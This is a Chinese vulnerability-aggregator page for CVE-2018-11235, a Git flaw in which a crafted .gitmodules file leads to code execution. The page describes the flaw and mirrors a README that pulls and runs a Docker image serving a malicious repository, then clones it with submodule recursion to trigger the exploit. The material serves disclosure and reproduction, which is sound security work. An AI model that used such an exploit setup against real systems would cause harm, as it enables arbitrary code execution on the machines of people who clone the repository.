CVE-2018-11235 PoC — Git 安全漏洞

来源

https://github.com/qweraqq/CVE-2018-11235-Git-Submodule-CE

关联漏洞

标题: Git 安全漏洞 (CVE-2018-11235)
Description:Git是美国软件开发者林纳斯-托瓦兹（Linus Torvalds）所研发的一套免费、开源的分布式版本控制系统。 Git中存在安全漏洞，该漏洞源于在将子模块名称添加到$GIT_DIR/modules目录下时，程序没有正确的验证来自不可信.gitmodules文件的子模块名称。远程攻击者可借助特制的.gitmodules文件利用该漏洞执行任意代码。以下版本受到影响：Git 2.13.7之前版本，2.14.4之前的2.14.x版本，2.15.2之前的2.15.x版本，2.16.4之前的2.16.x版本，2.1

Description

CVE-2018-11235-Git PoC

介绍

# CVE-2018-11235-Git-Submodule-CE
CVE-2018-11235-Git PoC

### Pull from Docker
```docker pull qweraqq/cve-2018-11235-git-submodule-rce```

### Start Git Http Server
```docker run -d -p 8080:80 qweraqq/cve-2018-11235-git-submodule-rce```

### PoC
```git clone --recurse-submodules http://git.gitserver/malicious.git```

![PoC](./PoC.PNG "PoC")

文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看

备注

1. 建议优先通过来源进行访问。

2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。

查看订阅方案 →

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

CVE-2018-11235 PoC — Git 安全漏洞

来源

关联漏洞

Description

介绍

文件快照

备注

目标达成感谢每一位支持者 — 我们达成了 100% 目标！